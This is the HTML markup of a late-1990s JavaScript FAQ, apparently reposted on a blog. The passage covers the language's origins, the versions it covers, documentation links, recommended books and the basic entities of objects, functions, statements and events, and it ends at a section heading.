<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_1"><span style="color: #0000ff;">What can&#8217;t JavaScript do? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_2"><span style="color: #0000ff;">Where can scripts go wrong? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_3"><span style="color: #0000ff;">What are the most common scripting mistakes? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_4"><span style="color: #0000ff;">Why won&#8217;t my script work &#8230; </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_5"><span style="color: #0000ff;">Jscript issues </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_6"><span style="color: #0000ff;">Portability </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming Tools</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">What tools are available for developing JavaScript pages?</span></p>
<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_1"><span style="color: #0000ff;">NetObjects ScriptBuilder</span></a><sup>TM</sup></span></p>
<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_2"><span style="color: #0000ff;">Borland IntraBuilder</span></a><sup>TM</sup></span></p>
<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_3"><span style="color: #0000ff;">Netscape Visual JavaScript 1.0</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_4"><span style="color: #0000ff;">Are there any debugging tools for JavaScript?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">7.<span style="font: 7pt 'Times New Roman';">    </span></span><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ7"><strong><span style="color: #0000ff;">Other Sources</span></strong></a> </span></p>
<p class="MsoNormal"> </p>
<h1>General</h1>
<h3>1. <a name="FAQ1_1"></a>What is JavaScript?</h3>
<p style="text-align: justify;"><strong><em><span style="font-size: 10pt;">J</span></em></strong><strong><em><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">avaScript</span></em></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is a platform-independent, event-driven, interpreted programming language developed by Netscape Communications Corp. and Sun Microsystems. Originally called LiveScript (and still called LiveWire<sup>TM</sup> by Netscape in its compiled, server-side incarnation), JavaScript is affiliated with Sun&#8217;s object-oriented programming language Java<sup>TM</sup> primarily as a marketing convenience. They <strong>interoperate well</strong> but are technically, functionally and behaviorally very different.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">JavaScript is useful for adding interactivity to the World Wide Web because scripts can be embedded in HTML files (i.e., web pages) simply by enclosing code in a </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt; &lt;/SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag pair. All modern browsers can interpret JavaScript &#8212; albeit with some irritating caveats. (More about them below.)</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">In practice, JavaScript is a fairly universal extension to HTML that can enhance the user experience through <strong>event handling</strong> and <strong>client-side execution</strong>, while extending a web <strong>developer&#8217;s control</strong> over the client&#8217;s browser. And that&#8217;s worth a FAQ.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2.<a name="FAQ1_2"></a> What versions of the language does this FAQ cover?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">his FAQ covers the language through JavaScript 1.2, the version deployed in Netscape Communicator 4.0x, plus some compatibility items with Jscript as implemented in Microsoft Internet Explorer 3.0x. The focus here is on client-side JavaScript.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ1_3"></a>What’s <em>not</em> covered here?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">O</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ther browser-based scripting languages such as Microsoft VBScript. Server-side JavaScript and Netscape LiveWire Pro. Database connectivity. Known bugs. Netscape&#8217;s JSRef source libraries for embedding the JavaScript interpreter in third-party code.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. <a name="FAQ1_4"></a>Who wrote this FAQ?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he answers herein have been compiled from several sources. The largest contribution is from Danny Goodman&#8217;s <strong>JavaScript Mini-FAQ</strong>, updated periodically in the newsgroup </span><code><strong><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">comp.lang.javascript</span></strong></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Postings to that newsgroup are also a rich source of questions and answers. Items quoted or paraphrased from books on the subject are attributed in the text. Finally, we at IDM have added our own two cents worth.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>5. <a name="FAQ1_5"></a>Can I mirror or reprint this FAQ?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">Y</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">es, with two restrictions. You must retain the previous paragraph (&#8221;Who wrote this FAQ?&#8221;), and you must cite <em>Intranet Journal</em>, giving the URL in print media and/or linking <a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">idm.internet.com</span></a> in online media.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">JavaScript Documentation</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3>1. <a name="FAQ2_1"></a>Where can I find <em>online documentation</em> for JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">E</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">CMAScript (ECMA-262) has since June 1997 been the <strong>official scripting standard</strong> for the Web. It is documented at:<br />
<a href="http://www.ecma.ch/stand/ecma-262.htm" target="_blank"><span style="color: #0000ff;">http://www.ecma.ch/stand/ecma-262.htm</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt;">C</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">urrent JavaScript docs (for Netscape) are available at:<br />
<a href="http://home.netscape.com/eng/mozilla/3.0/handbook/javascript" target="_blank"><span style="color: #0000ff;">home.netscape.com/eng/mozilla/3.0/handbook/javascript</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Netscape&#8217;s <strong><em>JavaScript FAQ</em></strong> is at:<br />
<a href="http://developer.netscape.com/support/faqs/champions/javascript.html" target="_blank"><span style="color: #0000ff;">developer.netscape.com/support/faqs/champions/javascript.html</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A zipped set of Netscape&#8217;s HTML documents is available at:<br />
<a href="http://developer.netscape.com/library/documentation/jshtm.zip"><span style="color: #0000ff;">developer.netscape.com/library/documentation/jshtm.zip</span></a> </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft&#8217;s scripting language site is:<br />
<a href="http://msdn.microsoft.com/scripting/" target="_blank"><span style="color: #0000ff;">http://msdn.microsoft.com/scripting/</span></a> </span>
</p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. <a name="FAQ2_2"></a>Where is the official bug list for JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">N</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">etscape maintains a page of <a href="http://developer.netscape.com/support/bugs/known/javascript.html" target="_blank"><span style="color: #0000ff;">JavaScript Known Bugs</span></a> in its online Navigator Release Notes. Unfortunately, according to guru Danny Goodman, &#8220;this list is not complete,&#8221; and we know of no definitive, well-maintained alternative.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ2_3"></a>Read any good JavaScript books lately?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-fareast-font-family: 'Courier New'; mso-bidi-font-size: 7.5pt;">Y</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">es! As with computer books generally, texts on browser scripting are plentiful, but the number of good ones is surprisingly small. Nor are the best ones always the most visible. Intranet Journal&#8217;s favorites, for instance, include a pair of texts from British publisher Wrox Press Ltd.:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l14 level2 lfo2; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.amazon.com/exec/obidos/ISBN=1861001193/intranetdesignmaA/"><span style="color: #0000ff;">Instant Netscape Dynamic HTML Programmer&#8217;s Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Wrox Press, Aug 1997) by Alex Homer &amp; Chris Ullman </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l14 level2 lfo2; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.amazon.com/exec/obidos/ISBN=1861000685/intranetdesignmaA/"><span style="color: #0000ff;">Instant IE4 Dynamic HTML Programmer&#8217;s Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Wrox Press, July 1997) by Alex Homer &amp; Chris Ullman </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt;">T</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">hese <strong>programmer&#8217;s references</strong> are so good because they work from the <strong>browser object model</strong> up, recognizing fundamental differences between the Microsoft and Netscape approaches. As the titles suggest, they treat the gamut of client-side techniques for making web pages dynamic: JavaScript, VBScript, Layers and Style Sheets. They excel as references for each.</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The Wrox books are written for a <strong>programming audience</strong>. Also in this category, but with different emphases, are the following:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.oreilly.com/catalog/dhtmlref/" target="_blank"><span style="color: #0000ff;">Dynamic HTML: The Definitive Reference</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (O&#8217;Reilly, July 1998) by Danny Goodman. A compendium for <strong>Web content developers</strong> that contains reference material for all of the HTML tags, CSS style attributes, browser document objects, and JavaScript objects. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1575210940" target="_blank"><span style="color: #0000ff;">Netscape ONE Developer&#8217;s Guide</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (Sams Publishing, April 1997) by William Robert Stanek &amp; Blake Benet Hall. This programmer&#8217;s guide to developing commercial-grade Web sites for the Netscape 2.x environment covers <strong>client- and server-side scripting</strong> in detail. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l4 level2 lfo3; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1565923928" target="_blank"><span style="color: #0000ff;">JavaScript: The Definitive Guide</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (O&#8217;Reilly, June 1998), by David Flanagan. One of O&#8217;Reilly&#8217;s <strong>Nutshell Handbooks</strong>, this guide furthers a tradition that includes Larry Wall&#8217;s <em>Programming Perl</em> and definitive texts on every Unix utility. But why a rhino? </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt;">B</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">eginners and <strong>less technical webmasters</strong> may find one of the following</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">sources a more suitable introduction to scripting.</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=1558515135" target="_blank"><span style="color: #0000ff;">Practical Javascript Programming</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (M&amp;T Books, March 1997), by Reaz Hoque. Contains extensive plug &amp; play code samples, plus an introduction to Netscape&#8217;s server-side language, LiveWire Pro. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0764531883" target="_blank"><span style="color: #0000ff;">JavaScript Bible, 3rd Ed</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. (IDG Books, March 1998), by Danny Goodman. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://gmccomb.com/javascript/"><span style="color: #0000ff;">JavaScript Sourcebook</span></a></span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (John Wiley &amp; Sons, Aug 1996), by Gordon McComb. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level2 lfo4; tab-stops: list 1.0in;"><strong><em><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming JavaScript for Netscape 2.0</span></em></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> (New Riders, 1996), by Tim Ritchey. Older, rich in background, emphasizes JavaScript as stepping stone to Java. </span></li>
</ul>
</li>
</ol>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h2>First Principles</h2>
<h3>1. <a name="FAQ3_1"></a>What are the language&#8217;s basic entities?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. As in most <em>object-oriented</em>, <em>event-driven</em> programming languages, there are <span style="text-decoration: underline;">four</span> distinct entities in JavaScript:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">OBJECTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. A discussion of objects is beyond the scope of this FAQ (see the section <a href="http://www.intranetjournal.com/faqs/objects/index.html"><span style="color: #0000ff;">&#8220;Objects and the Web&#8221;</span></a> in Intranet Journal&#8217;s <a href="http://www.intranetjournal.com/ifaq.html"><span style="color: #0000ff;">Intranet FAQ</span></a> for background). It&#8217;s impossible to understand JavaScript without knowing the <strong>following essentials</strong>, however: </span>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">everything you can control in a web browser is an <span style="text-decoration: underline;">object</span> comprising <em>properties</em> and <em>methods</em> (sometimes referred to in the literature as attributes and operations, respectively) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">properties</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> define the state of an object; e.g., <strong><em>red</em></strong> text, <strong><em>10-element</em></strong> array </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level2 lfo5; tab-stops: list 1.0in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">methods</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> define the actions that change the state of an object; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">fontcolor("red")</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> sets the color of a text object to red. </span></li>
</ol>
</li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">FUNCTIONS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Methods that operate outside of objects; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">escape()</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> and </span><code><span style="font-size: 10pt; font-family: 'Courier New';">unescape()</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">, JavaScript functions that perform ASCII to hex conversions. The existence of non-object-specific functions in JavaScript keeps it from being a truly object-oriented language like Java. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">STATEMENTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Programming commands that control object lifecycles and the flow of execution; e.g., </span><code><span style="font-size: 10pt; font-family: 'Courier New';">if..else</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">, </span><code><span style="font-size: 10pt; font-family: 'Courier New';">while</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. JavaScript statements and syntax</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> closely resemble those of the &#8216;C&#8217; programming language. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo5; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">EVENTS</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">. Things that happen, usually as a result of user actions, to which a JavaScript program can respond; e.g., a mouse click. Events always happen in relation to a given object, such as a button in a form (for which </span><code><span style="font-size: 10pt; font-family: 'Courier New';">onClick</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> is a typical event), or an entire web page (sample event: </span><code><span style="font-size: 10pt; font-family: 'Courier New';">onLoad</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">). The code that specifies what the object should do in response to an event is a special type of method called an <em>event handler</em>. </span></li>
</ul>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. <a name="FAQ3_2"></a>How does JavaScript model the world?</h3>
